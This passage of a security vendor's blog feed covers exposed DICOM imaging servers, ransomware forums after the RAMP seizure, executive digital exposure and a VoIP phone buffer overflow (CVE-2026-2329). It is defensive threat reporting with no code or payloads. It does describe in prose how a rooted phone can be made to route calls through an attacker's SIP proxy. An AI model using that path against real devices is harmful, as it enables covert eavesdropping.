style='font-size: undefined;'>Third-party integrations expand the digital perimeter beyond the hospital campus. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Remote access services enable flexible care delivery, while cloud adoption accelerates faster than traditional governance models can adapt.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>In this kind of environment, many organizations lack continuous visibility into which services are externally exposed at any given moment. If you do not know a medical device or DICOM server is accessible from the internet, you cannot secure it. What was once ‘plug and play’ infrastructure can quietly become ‘plug and prey’.</span></p><h2 style="direction: ltr;">Securing DICOM servers in healthcare</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations reviewing imaging system security should confirm whether Port 104 is accessible from outside trusted networks. Where external access is operationally required, it should be restricted through VPN controls and strong authentication. DICOM traffic should be encrypted where supported.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Additional steps include:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Reviewing firewall rules governing PACS and modality communication.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Conducting periodic external service discovery across owned IP ranges.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Verifying vendor default configurations during deployment and upgrade cycles.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Monitoring newly exposed services following infrastructure or cloud changes.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>These measures focus on aligning network exposure with clinical intent. The objective is straightforward: Ensure that imaging systems are reachable only by the parties that need them.</span></p><h2 style="direction: ltr;">Healthcare cyber resilience starts with visibility</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Imaging systems play a central role in diagnosis and care planning, with operational disruption creating immediate clinical consequences.. As regulatory scrutiny of healthcare cybersecurity continues to increase, confirming that DICOM services operate within intended network boundaries is a practical and measurable step toward reducing risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The identification of more than 30 exposed systems highlights a visibility gap rather than a failure of awareness. Addressing that gap begins with systematic review of external-facing infrastructure and sustained monitoring over time.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-mri-hidden-risks-exposed-dicom-servers-uk-healthcare</link>
      <guid isPermaLink="false">blt1d3df231b8c43b64</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Healthcare Security]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 25 Feb 2026 16:21:24 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted8cb9466d79dc4d/6852c596a274324cfbb23d9d/PSN-gov-showcase-hero-image.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[The Post-RAMP Era: Allegations, Fragmentation, and the Rebuilding of the Ransomware Underground]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Executive summary</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The January 2026 seizure of RAMP disrupted a major ransomware coordination hub, but it did not dismantle the ecosystem behind it. Instead, it destabilized trust and accelerated fragmentation across the underground.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rather than consolidating around a single successor, ransomware actors are redistributing across both gated platforms like T1erOne and accessible forums such as Rehub. This shift reflects adaptation, not decline.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For defenders, visibility into centralized coordination is shrinking. Monitoring must evolve beyond tracking individual forums to identifying actor migration, recruitment signals, and early indicators of regrouping. Disruption rarely eliminates ecosystems; it reshapes them. Organizations that adapt their intelligence strategies accordingly will be best positioned to stay ahead.</span></p><h2 style="direction: ltr;">Overview</h2><h3 style="direction: ltr;"><span style='color:rgb(58, 68, 73);'>The anatomy of the RAMP disruption</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Active since 2021, the RAMP (</span>Ransomware and Advanced Malware Protection)<span style='font-size: undefined;'> forum has established itself as a prominent hub within the cybercrime ecosystem, particularly for </span><a class="embedded-entry redactor-component block-entry" type="entry" target="_self" href="/fundamentals/what-is-ransomware" data-sys-entry-uid="blt07fb6bc3e48da201" data-sys-entry-locale="en-us" data-sys-content-type-uid="page" sys-style-type="link"><span style='font-size: undefined;'>ransomware</span></a><span style='font-size: undefined;'> operators and affiliates coordinating attacks, sharing tooling, and trading access to compromised networks. On 28 January 2026, the Federal Bureau of Investigation (FBI), in coordination with the U.S. Attorney’s Office for the Southern District of Florida and the Computer Crime and Intellectual Property Section of the U.S. Department of Justice (DoJ), seized the forum’s infrastructure (Figure 1).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>While public reporting focused primarily on the law enforcement action, the underground reaction revealed a deeper and more consequential development: a collapse of trust and increasing fragmentation within the ransomware community.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc598d4ee01bceb34/699f0050b9f0f2e2673235ae/Seizure-notice-RAMP-domain.png" alt="Seizure-notice-RAMP-domain.png" caption="Figure 1 - Seizure notice on RAMP’s domain" height="571" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Seizure-notice-RAMP-domain.png" width="781" max-width="781" max-height="571" style="max-width: 781px; width: 781px; max-height: 571px; height: 571px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc598d4ee01bceb34/699f0050b9f0f2e2673235ae/Seizure-notice-RAMP-domain.png" data-sys-asset-uid="bltc598d4ee01bceb34" data-sys-asset-filename="Seizure-notice-RAMP-domain.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1 - Seizure notice on RAMP’s domain" data-sys-asset-alt="Seizure-notice-RAMP-domain.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1 - Seizure notice on RAMP’s domain</figcaption></div></figure><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>Shortly after, the RAMP’s administrator, known as “Stallman”, confirmed on the cybercrime forums XSS and Exploit the seizure, stating that he would not attempt to rebuild it (Figure 2). The announcement immediately sparked debate. Some users questioned whether the takedown had been staged or was a “PR exit,” while others accused Stallman of cooperating with authorities. RAMP’s nameservers were subsequently observed pointing to infrastructure controlled by the FBI, confirming the seizure by U.S. law enforcement.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf2c0c4fe686b06dd/699f00fd3b580e9a9224a833/Stallmans-post-on-XSS.png" alt="Stallmans-post-on-XSS.png" caption="Figure 2 - Stallman’s post on XSS" height="496" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Stallmans-post-on-XSS.png" width="937" max-width="937" max-height="496" style="max-width: 937px; width: 937px; max-height: 496px; height: 496px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf2c0c4fe686b06dd/699f00fd3b580e9a9224a833/Stallmans-post-on-XSS.png" data-sys-asset-uid="bltf2c0c4fe686b06dd" data-sys-asset-filename="Stallmans-post-on-XSS.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2 - Stallman’s post on XSS" data-sys-asset-alt="Stallmans-post-on-XSS.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2 - Stallman’s post on XSS</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Following the announcement, screenshots purporting to show portions of RAMP’s database were circulated via Telegram and reposted across underground forums (Figure 3). These images allegedly contained user email addresses and private messages. Several former RAMP members publicly acknowledged that elements of the leaked data appeared authentic and expressed concern that registration emails, private communications, or operational details could be exposed and potentially leveraged in investigations.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1553823aa6fb594/699f01416da803534e7b6a26/Screenshot-of-alleged-RAMP-leak.png" alt="Screenshot-of-alleged-RAMP-leak.png" caption="Figure 3 - Screenshot of alleged RAMP leak" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Screenshot-of-alleged-RAMP-leak.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1553823aa6fb594/699f01416da803534e7b6a26/Screenshot-of-alleged-RAMP-leak.png" data-sys-asset-uid="blta1553823aa6fb594" data-sys-asset-filename="Screenshot-of-alleged-RAMP-leak.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3 - Screenshot of alleged RAMP leak" data-sys-asset-alt="Screenshot-of-alleged-RAMP-leak.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3 - Screenshot of alleged RAMP leak</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Stallman denied that any breach had occurred, claiming the forum’s disks were encrypted and that the circulating screenshots were fabricated.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Despite competing claims, underground discussions converged around two primary scenarios:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Scenario A: Prior breach</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The database was exfiltrated before the law enforcement seizure, and the subsequent takedown was unrelated to the leak.</span></p></li></ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Scenario B: Insider access</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>An individual with administrative privileges exported the database, either before or during the seizure process.</span></p></li></ul></ul><p style="direction: ltr;"><span style='font-size: undefined;'>No clear consensus has emerged. However, based on behavioral patterns observed in previous forum seizures and the technical realities involved, pre-seizure database access appears plausible. Even if the database was encrypted, protection at rest does not prevent extraction while a system is actively running.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>There are also unverified allegations that Stallman attempted to sell the database for 10 bitcoin, though these claims remain unsubstantiated.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The alleged leak, combined with accusations of selective moderation and inconsistent rule enforcement, fueled speculation that RAMP may have functioned as a honeypot or had been compromised long before its seizure. While there is no public evidence confirming that RAMP was deliberately operated as a law enforcement trap, perception often matters more than proof in underground ecosystems. As such, the honeypot narrative itself accelerates fragmentation and contributes to a shift toward smaller, more tightly controlled ransomware platforms.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With RAMP gone and no official successor announced, forum users quickly began discussing alternatives. Some argued that XSS should reconsider its prohibition on ransomware-related activity. XSS administrators reiterated that ransomware affiliate recruitment remains banned, likely to avoid attracting heightened law enforcement scrutiny. This sparked debate about the forum’s long-term positioning and whether it would maintain its policy stance or adapt to fill the vacuum left by RAMP.</span><br/><br/><span style='font-size: undefined;'>This cycle of centralized growth to sudden disruption and migration toward successor platforms follows a recurring pattern observed after previous underground takedowns. When a dominant forum falls, the immediate effect is fragmentation and suspicion. In the absence of a trusted central marketplace, actors temporarily disperse, debate compromise theories, and test new governance models. Over time, smaller, vetted communities emerge to re-establish trust through higher entry barriers and tighter moderation. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A prominent precedent is the shutdown of the cybercrime marketplace RaidForums in 2022, which was followed by the rise of BreachForums, a successor platform that inherited much of the user base and continued many of the same discussions and transactions. RAMP’s disruption appears to be following this familiar trajectory, suggesting not an end to coordination, but a restructuring of how and where it occurs.</span></p><h3 style="direction: ltr;"><span style='color:rgb(58, 68, 73);'>Enter T1erOne: A potential successor</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The vacuum left by RAMP’s disruption coincided with the emergence of T1erOne in early February, a closed forum with a reputation- and payment-based entry model. Membership requires either verified activity on other underground forums or a $450 payment, emphasizing exclusivity and trust vetting (Figure 4). This structure is designed to reduce the risk of infiltration or exposure, a direct response to the alleged leaks from RAMP.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e240b608a36616a/699f019b6da8033e7d7b6a2a/T1erOne-registration.png" alt="T1erOne-registration.png" caption="Figure 4 - T1erOne registration" height="344" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="T1erOne-registration.png" width="784" max-width="784" max-height="344" style="max-width: 784px; width: 784px; max-height: 344px; height: 344px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e240b608a36616a/699f019b6da8033e7d7b6a2a/T1erOne-registration.png" data-sys-asset-uid="blt7e240b608a36616a" data-sys-asset-filename="T1erOne-registration.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4 - T1erOne registration" data-sys-asset-alt="T1erOne-registration.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4 - T1erOne registration</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The T1erOne model is further consistent with how RAMP itself operated previously. The forum specifically required proof of activity on other major underground forums or payment of a registration fee to help filter out infiltrators and low-trust actors. While this similarity does not prove T1erOne is RAMP’s direct successor, it makes sense structurally as a model that RAMP veterans would try to replicate.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>While closed, paid-entry forums are not new, their emergence immediately after a high-profile seizure suggests defensive adaptation. By raising financial and reputational barriers, administrators reduce infiltration risk while signaling seriousness to high-value actors. If historical patterns hold, the next phase will likely involve smaller clusters of trusted actors consolidating around vetted spaces, with recruitment occurring through referrals rather than open posts. This reduces visibility but increases operational cohesion.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>While limited information is available about this forum at the time of writing, it clearly advertises a ransomware offering, suggesting an intention to cover the gap that RAMP left in the cybercrime ecosystem (Figure 5). By openly advertising that ransomware is permitted, T1erOne already differentiates itself from forums like XSS or Exploit, which explicitly ban ransomware discussions or operational planning. This signals to operators that T1erOne is a safe space for ransomware-related activity.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2214e700a198dde5/699f0232ba238fe7352f42a5/T1erOne-ransomware-advertisement.png" height="513" alt="T1erOne-ransomware-advertisement.png" caption="Figure 5 - T1erOne ransomware advertisement" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="T1erOne-ransomware-advertisement.png" width="1023" style="width: 1023px; height: 513px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2214e700a198dde5/699f0232ba238fe7352f42a5/T1erOne-ransomware-advertisement.png" data-sys-asset-uid="blt2214e700a198dde5" data-sys-asset-filename="T1erOne-ransomware-advertisement.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5 - T1erOne ransomware advertisement" data-sys-asset-alt="T1erOne-ransomware-advertisement.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5 - T1erOne ransomware advertisement</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Early indicators from underground discussions suggest that ransomware affiliate programs have already been referenced in promotional posts on the forum, implying that affiliates may be evaluating T1erOne as a potential coordination hub. Notably, the ransomware group Qilin appears to have established an early presence on the platform, actively advertising its Ransomware-as-a-Service (RaaS) offering in an effort to attract new affiliates (Figure 6). There are also references to the Cry0 ransomware group engaging on T1erOne. At the time of writing, however, neither group has publicly referenced the forum on their known communication channels, which may indicate that activity remains exploratory or limited to closed recruitment efforts rather than representing a fully endorsed migration.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf53f61cd5384205d/699f186ebc49c46e138a81c1/Qilin-RaaS-advertisement-T1erOne.jpg" alt="Qilin-RaaS-advertisement-T1erOne.jpg" caption="Figure 6 - Qilin RaaS advertisement on T1erOne" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Qilin-RaaS-advertisement-T1erOne.jpg" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf53f61cd5384205d/699f186ebc49c46e138a81c1/Qilin-RaaS-advertisement-T1erOne.jpg" data-sys-asset-uid="bltf53f61cd5384205d" data-sys-asset-filename="Qilin-RaaS-advertisement-T1erOne.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6 - Qilin RaaS advertisement on T1erOne" data-sys-asset-alt="Qilin-RaaS-advertisement-T1erOne.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 6 - Qilin RaaS advertisement on T1erOne</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>T1erOne’s branding does more than advertise ransomware; it signals the continuation of an operational niche designed to fill the gap left in the cybercrime market. For defenders, this underscores a critical reality: The takedown of a public ransomware forum rarely ends operations; it alters where and how they occur. Threat actors migrate to smaller, more controlled communities where similar coordination persists, but with reduced transparency and higher barriers to monitoring. In this environment, disruption does not necessarily translate into deterrence. Rather, it drives a restructuring of the ecosystem into tighter, more resilient clusters, preserving operational continuity for threat actors while diminishing visibility for defenders.</span></p><h3 style="direction: ltr;">Rehub: Migration to an existing open forum</h3><p style="direction: ltr;"><span style='font-size: undefined;'>In parallel with the emergence of T1erOne, ransomware activity has also been observed on Rehub, an underground forum that predates RAMP’s takedown (Figure 7). Domain records indicate that the platform has been active since August 2025, suggesting it was not created in direct response to RAMP’s disruption. However, its recent activity indicates that it is absorbing at least part of the displaced ecosystem.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt60c0fe0a26e480f8/699f02e747c5b08a1bc84dbf/Rehub-feed-screenshot.png" height="493" alt="Rehub-feed-screenshot.png" caption="Figure 7 - Screenshot from Rehub’s feed" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rehub-feed-screenshot.png" width="1210" style="width: 1210px; height: 493px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt60c0fe0a26e480f8/699f02e747c5b08a1bc84dbf/Rehub-feed-screenshot.png" data-sys-asset-uid="blt60c0fe0a26e480f8" data-sys-asset-filename="Rehub-feed-screenshot.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7 - Screenshot from Rehub’s feed" data-sys-asset-alt="Rehub-feed-screenshot.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7 - Screenshot from Rehub’s feed</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Unlike T1erOne, Rehub does not operate as a gated or reputation-based community. Registration requires only a username, password, and the answer to a basic security question, making entry significantly less restrictive. This low barrier to access contrasts sharply with T1erOne’s paid or reputation-based vetting model.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 researchers independently verified that several ransomware actors are already active on the platform. Notably, LockBit and the Gentlemen have maintained a presence on Rehub since September 2025, well before RAMP’s seizure. DragonForce, meanwhile, joined the forum on the same day RAMP was taken offline (Figure 8). The forum contains multiple posts openly advertising or discussing RaaS offerings (Figure 9).</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf99df53f389c9de7/699f032fb009386dea8333b1/Dragonforce-profile-rehub.png" alt="Dragonforce-profile-rehub.png" caption="Figure 8 - DragonForce’s profile on Rehub" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Dragonforce-profile-rehub.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf99df53f389c9de7/699f032fb009386dea8333b1/Dragonforce-profile-rehub.png" data-sys-asset-uid="bltf99df53f389c9de7" data-sys-asset-filename="Dragonforce-profile-rehub.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8 - DragonForce’s profile on Rehub" data-sys-asset-alt="Dragonforce-profile-rehub.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8 - DragonForce’s profile on Rehub</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b501120bdaf4eca/699f032f62d13904f0846b02/Gentlemens-RaaS-advertisement.png" alt="Gentlemens-RaaS-advertisement.png" caption="Figure 9 - Gentlemen’s RaaS advertisement" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Gentlemens-RaaS-advertisement.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b501120bdaf4eca/699f032f62d13904f0846b02/Gentlemens-RaaS-advertisement.png" data-sys-asset-uid="blt0b501120bdaf4eca" data-sys-asset-filename="Gentlemens-RaaS-advertisement.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9 - Gentlemen’s RaaS advertisement" data-sys-asset-alt="Gentlemens-RaaS-advertisement.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9 - Gentlemen’s RaaS advertisement</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Rehub’s activity demonstrates that migration following RAMP’s disruption is not limited to newly established, closed communities. Instead, some actors appear to be leveraging pre-existing, lower-barrier platforms to continue coordination and recruitment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Taken together, T1erOne and Rehub illustrate that post-disruption ecosystems rarely converge immediately around a single successor. Instead, they fragment across parallel coordination spaces before longer-term consolidation emerges.</span></p><h2 style="direction: ltr;">Conclusion: Fragmentation, not finality</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The post-RAMP landscape reinforces a familiar reality: Law enforcement can dismantle infrastructure, but it rarely dismantles the ecosystem behind it. Instead, disruption fractures trust and redistributes coordination across multiple platforms.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What has emerged is not a single successor, but diverging migration paths. Gated forums like T1erOne reflect an attempt to rebuild trust through exclusivity, tighter vetting, and higher-entry barriers. At the same time, platforms like Rehub demonstrate that some ransomware actors are leveraging accessible, pre-existing forums to maintain operational continuity and recruitment momentum. This fragmentation suggests adaptation rather than decline. In the immediate aftermath of disruption, dispersion appears to be the dominant pattern, not consolidation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For defenders, this shift complicates visibility. Monitoring strategies can no longer focus on a single dominant forum. Instead, security teams must track actor migration patterns across multiple environments, identify early RaaS recruitment signals, and correlate underground developments with intrusion activity. As coordination spreads across both gated and open platforms, contextual and timely intelligence becomes critical.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At Rapid7, we continuously monitor underground ecosystems to detect migration trends, emerging coordination spaces, and shifts in affiliate behavior before they scale into campaigns. By combining deep threat intelligence with frontline incident response insights, we help organizations maintain situational awareness even as ransomware coordination becomes more distributed and less predictable.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>RAMP’s takedown represents meaningful disruption, but not deterrence. As the ecosystem restructures across both exclusive and open platforms, defenders must adapt just as quickly to maintain the advantage.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-post-ramp-allegations-fragmentation-ransomware-underground-rebuild</link>
      <guid isPermaLink="false">bltf508f2e583682ae8</guid>
      <category><![CDATA[Ransomware]]></category>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Alexandra Blia]]></dc:creator>
      <pubDate>Wed, 25 Feb 2026 13:56:38 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[New Report: The Digital Footprints of Many Executives Can Leave Their Companies Seriously Exposed]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Senior leaders are visible by design. They speak at events, post on LinkedIn, sit on boards, and sign public filings. That visibility builds brands and drives growth. It also creates risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In our latest Rapid7 Labs report, </span><a href="https://www.rapid7.com/lp/executive-digital-footprints-threat-report/" target="_blank"><span style='font-size: undefined;'><em>Executives’ Digital Footprints: The Overlooked Corporate Vulnerability</em></span></a><span style='font-size: undefined;'>, we analyzed data from hundreds of engagements across 2024 and 2025 to understand how exposed today’s executives really are and what that means for the enterprise.</span></p><h2><span style='font-size: undefined;'>Behind our Executives' Digital Footprints report</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>The findings are clear: an executive’s online footprint is not just a privacy issue. It is a business risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Across industries, we found that surface web data, public records, social media activity, and leaked credentials combine to create a detailed profile that threat actors can weaponize. In many cases, 60% of an individual’s digital risk exposure is retrievable through a simple surface web search. When paired with breached credentials circulating in criminal forums, that information fuels business email compromise, spear phishing, impersonation, and even hybrid cyber-physical threats.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our research features the Rapid7 Exposure Prevention (REP) Score, a quantitative metric that measures executive exposure across four areas: general exposure, social media, public records, and leaked credentials. The data reveals meaningful differences by industry and geography, with U.S.-based executives generally more exposed than their European counterparts, particularly in public records and credential leaks.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>High-profile incidents continue to show how small details can lead to large-scale impact. The takeaway for security leaders is direct: protecting executives requires more than awareness training. It demands continuous monitoring, strong authentication, proactive credential hygiene, and integration between cyber and physical risk programs.</span></p><h2><span style='font-size: undefined;'>Download the Rapid7 report</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Download the </span><a href="https://www.rapid7.com/lp/executive-digital-footprints-threat-report/" target="_blank"><span style='font-size: undefined;'>full report</span></a><span style='font-size: undefined;'> to see how your organization compares and how to reduce executive exposure before attackers take advantage.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-new-rapid7-report-digital-executive-footprints-exposing-organizations</link>
      <guid isPermaLink="false">blt87ca6bdb2e12234d</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 24 Feb 2026 14:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6f7e061e63defc56/699c6fb1a8ff500008331a6f/card-threat-report-executives-digital-footprint.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[The Phone is Listening: A Cold War–Style Vulnerability in Modern VoIP]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>I don’t know about you, but when I think about “critical vulnerabilities,” I usually picture ransomware, data theft, or maybe a server falling over at 2 a.m. while someone frantically searches Slack for the last good backup.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What I don’t picture is a scene straight out of a Cold War spy film.</span></p><h2><span style='font-size: undefined;'>CVE-2026-2329: Setting the scene</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Dimly lit office. After hours. The city skyline glowing through the glass. Two executives leaning over a polished conference table, whispering about an acquisition. A red light blinking softly on the desk phone. Everything feels normal... Except it isn’t. Researchers at Rapid7 have </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed" target="_blank"><span style='font-size: undefined;'><strong>disclosed CVE-2026-2329</strong></span></a><span style='font-size: undefined;'>, a critical unauthenticated stack-based buffer overflow in the Grandstream GXP1600 series of VoIP phones. Let me take a moment to explain why that sentence, while technical and slightly dry on the surface, should make you sit up a little straighter.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At its core, this is a classic memory corruption issue. The kind many of us learned from in our early exploitation days. And if you’ve spent time in cybersecurity long enough, you’ve seen this movie before. But here’s where it gets interesting: an attacker finds an exposed VoIP phone – maybe it’s directly reachable, or maybe it’s pivoted to from somewhere else inside the network. They trigger the overflow, gain root, and at this point, nothing explodes. No alarms go off, and the phone doesn’t brick itself in protest. It just quietly accepts new instructions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With root access, the attacker can reconfigure the device’s SIP settings to point to infrastructure they control. A malicious SIP proxy. Calls still dial. The display still lights up. The user still hears a dial tone. But now, every call flows through someone else’s hands first. There’s no dramatic “wiretap installed” moment. No van parked outside with antennas on the roof. Just silent, transparent interception. Conversations about contracts, negotiations, legal strategy, maybe even sensitive personal matters — all are relayed in real time.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This isn’t about crashing a device for fun, it’s about persistence and invisibility. VoIP phones are trusted implicitly. They sit on desks for years, deployed once and forgotten thereafter. Rarely monitored like servers or endpoints, and almost never treated as high-value assets. But voice carries nuance. Tone, intent, and strategy. Things you don’t always see in email or chat logs. The reality of it is that once you move from “denial of service” to “silent interception,” the impact shifts dramatically. This stops being a theoretical CVE in a spreadsheet and starts becoming a confidentiality issue at the human level.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Now, to be fair, exploitation requires knowledge and skill. This isn’t a one-click exploit with fireworks and a victory banner. But the underlying vulnerability lowers the barrier in a way that should concern anyone operating these devices in exposed or lightly-segmented environments. And that’s why this one caught my attention. Not because it’s the first buffer overflow we’ve ever seen, and not because it’s technically flashy, but because it works quietly. Perfectly.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Like a phone that never misses a call, but while someone else is listening.</span></p><h2>Quick video rundown on CVE-2026-2329</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For a high-level summary of the vulnerability and its implications, check out the one-minute overview video below.</span></p><p>⠀</p><p>⠀</p><h2>The technical details on CVE-2026-2329</h2><p style="direction: ltr;">If you’re a researcher, engineer, or just someone who enjoys digging into stack layouts and exploit chains, we’ve put together a full technical deep dive on the Rapid7 blog. That includes:</p><ul><li>Root cause analysis</li><li>Stack memory breakdown</li><li>Exploit development 